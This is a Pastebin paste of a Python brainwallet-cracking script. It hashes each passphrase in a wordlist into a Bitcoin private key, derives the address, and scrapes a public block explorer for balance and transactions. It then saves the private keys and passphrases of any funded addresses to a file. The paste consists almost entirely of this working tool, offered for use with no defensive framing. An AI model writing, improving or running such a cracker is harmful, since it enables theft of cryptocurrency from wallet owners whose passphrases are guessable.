Advertisement
skip420

BrainBTC

Sep 14th, 2022
1,875
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.70 KB | None | 0 0
  1. # python3 BrainBTC.py
  2.  
  3.  
  4.  
  5.  
  6. import codecs , random , hashlib , ecdsa , sys , time
  7. from time import sleep
  8. from lxml import html
  9. import requests
  10. from colorama import Fore , Style
  11.  
  12.  
  13. def xBal(address) :
  14.     urlblock = "https://bitcoin.atomicwallet.io/address/" + address
  15.     respone_block = requests.get(urlblock)
  16.     byte_string = respone_block.content
  17.     source_code = html.fromstring(byte_string)
  18.     xpatch_txid = '/html/body/main/div/div[2]/div[1]/table/tbody/tr[3]/td[2]'
  19.     treetxid = source_code.xpath(xpatch_txid)
  20.     xVol = str(treetxid[0].text_content())
  21.     return xVol
  22.  
  23.  
  24. def xTX(address) :
  25.     urlblock = "https://bitcoin.atomicwallet.io/address/" + address
  26.     respone_block = requests.get(urlblock)
  27.     byte_string = respone_block.content
  28.     source_code = html.fromstring(byte_string)
  29.     xpatch_txid = '/html/body/main/div/div[2]/div[1]/table/tbody/tr[4]/td[2]'
  30.     treetxid = source_code.xpath(xpatch_txid)
  31.     xVol = str(treetxid[0].text_content())
  32.     return xVol
  33.  
  34.  
  35. mylist = []
  36.  
  37. with open('/home/ghostproxy/Desktop/wordlists/CIA.txt' , newline = '' , encoding = 'utf-8') as f :
  38.     for line in f :
  39.         mylist.append(line.strip())
  40.  
  41.  
  42. class xWallet :
  43.  
  44.     @staticmethod
  45.     def generate_address_from_passphrase(passphrase) :
  46.         private_key = str(hashlib.sha256(
  47.                 passphrase.encode('utf-8')).hexdigest())
  48.         address = xWallet.generate_address_from_private_key(private_key)
  49.         return private_key , address
  50.  
  51.     @staticmethod
  52.     def generate_address_from_private_key(private_key) :
  53.         public_key = xWallet.__private_to_public(private_key)
  54.         address = xWallet.__public_to_address(public_key)
  55.         return address
  56.  
  57.     @staticmethod
  58.     def __private_to_public(private_key) :
  59.         private_key_bytes = codecs.decode(private_key , 'hex')
  60.         key = ecdsa.SigningKey.from_string(
  61.                 private_key_bytes , curve = ecdsa.SECP256k1).verifying_key
  62.         key_bytes = key.to_string()
  63.         key_hex = codecs.encode(key_bytes , 'hex')
  64.         bitcoin_byte = b'04'
  65.         public_key = bitcoin_byte + key_hex
  66.         return public_key
  67.  
  68.     @staticmethod
  69.     def __public_to_address(public_key) :
  70.         PublicKeyByte = codecs.decode(public_key , 'hex')
  71.         sha256_bpk = hashlib.sha256(PublicKeyByte)
  72.         sha256_bpk_digest = sha256_bpk.digest()
  73.         ripemd160_bpk = hashlib.new('ripemd160')
  74.         ripemd160_bpk.update(sha256_bpk_digest)
  75.         ripemd160_bpk_digest = ripemd160_bpk.digest()
  76.         ripemd160_bpk_hex = codecs.encode(ripemd160_bpk_digest , 'hex')
  77.         NetByte = b'00'
  78.         NetBTCBytePubKey = NetByte + ripemd160_bpk_hex
  79.         NetBTCPubKeyByte = codecs.decode(
  80.                 NetBTCBytePubKey , 'hex')
  81.         Hash256N = hashlib.sha256(NetBTCPubKeyByte)
  82.         Hash256N_digest = Hash256N.digest()
  83.         sha256_2_nbpk = hashlib.sha256(Hash256N_digest)
  84.         sha256_2_nbpk_digest = sha256_2_nbpk.digest()
  85.         sha256_2_hex = codecs.encode(sha256_2_nbpk_digest , 'hex')
  86.         checksum = sha256_2_hex[:8]
  87.         addrHex = (NetBTCBytePubKey + checksum).decode('utf-8')
  88.         wallet = xWallet.base58(addrHex)
  89.         return wallet
  90.  
  91.     @staticmethod
  92.     def base58(addrHex) :
  93.         alpha = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
  94.         BaseStr58 = ''
  95.         LanZeros = len(addrHex) - len(addrHex.lstrip('0'))
  96.         AddrINT = int(addrHex , 16)
  97.         while AddrINT > 0 :
  98.             digit = AddrINT % 58
  99.             dgChar = alpha[digit]
  100.             BaseStr58 = dgChar + BaseStr58
  101.             AddrINT //= 58
  102.         ones = LanZeros // 2
  103.         for one in range(ones) :
  104.             BaseStr58 = '1' + BaseStr58
  105.         return BaseStr58
  106.  
  107.  
  108. z = 0
  109. w = 0
  110. s = 0
  111. for i in range(0 , len(mylist)) :
  112.  
  113.     passphrase = mylist[i]
  114.     wallet = xWallet()
  115.     private_key , address = wallet.generate_address_from_passphrase(passphrase)
  116.     dec = int(private_key , 16)
  117.     bal = xBal(address)
  118.     txid = xTX(address)
  119.     ifbtc = '0 BTC'
  120.     print(Fore.YELLOW , 'Check:' , Fore.WHITE , str(z) , Fore.YELLOW , 'Win:' , Fore.GREEN , str(w) , Fore.YELLOW ,
  121.           ' Address:' , Fore.RED , str(address) , Fore.GREEN , ' TX:' , Fore.WHITE , str(txid))
  122.     print(Fore.YELLOW , 'PrivateKey:' , Fore.RED , str(private_key))
  123.     print(
  124.             Fore.BLUE + '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(' + Fore.YELLOW + ' SKip420 ' + Fore.BLUE + ')~~~~~~~~~~~~~~~~~~~~~~~~~~\n')
  125.  
  126.     z += 1
  127.     if int(txid) > 0 :
  128.         w += 1
  129.         print(Fore.RED , 'Scan No:' , Fore.YELLOW , str(z) , Fore.RED , ' Win No:' , Fore.WHITE , str(w) , Fore.GREEN ,
  130.               ' Address:' , Fore.YELLOW , str(address))
  131.         print(Fore.BLUE , 'PrivateKey:' , Fore.MAGENTA , str(private_key) , Fore.BLUE , '              BAL:' ,
  132.               Fore.WHITE , str(bal))
  133.         print('--------------------------------[Skip420]------------------------------')
  134.         if str(bal) != str(ifbtc) :
  135.             s += 1
  136.             print(Fore.GREEN , 'Scan No:' , Fore.WHITE , str(z) , Fore.YELLOW , ' Win No:' , Fore.WHITE , str(w) ,
  137.                   Fore.GREEN , ' Address:' , Fore.YELLOW , str(address))
  138.             print(Fore.GREEN , 'PrivateKey:' , Fore.MAGENTA , str(private_key) , Fore.BLUE , '              BAL:' ,
  139.                   Fore.WHITE , str(bal))
  140.             print('--------------------------------[Skip420]------------------------------')
  141.             f = open('Brain.txt' , 'a')
  142.             f.write('\nADDRESS =' + str(address) + '   BAL= ' + str(bal))
  143.             f.write('\nPRiVATEKEY =' + str(private_key))
  144.             f.write('\nPasspharse = ' + str(passphrase))
  145.             f.write('----------------------------------[ Skip420 ]---------------------------------')
  146.             f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement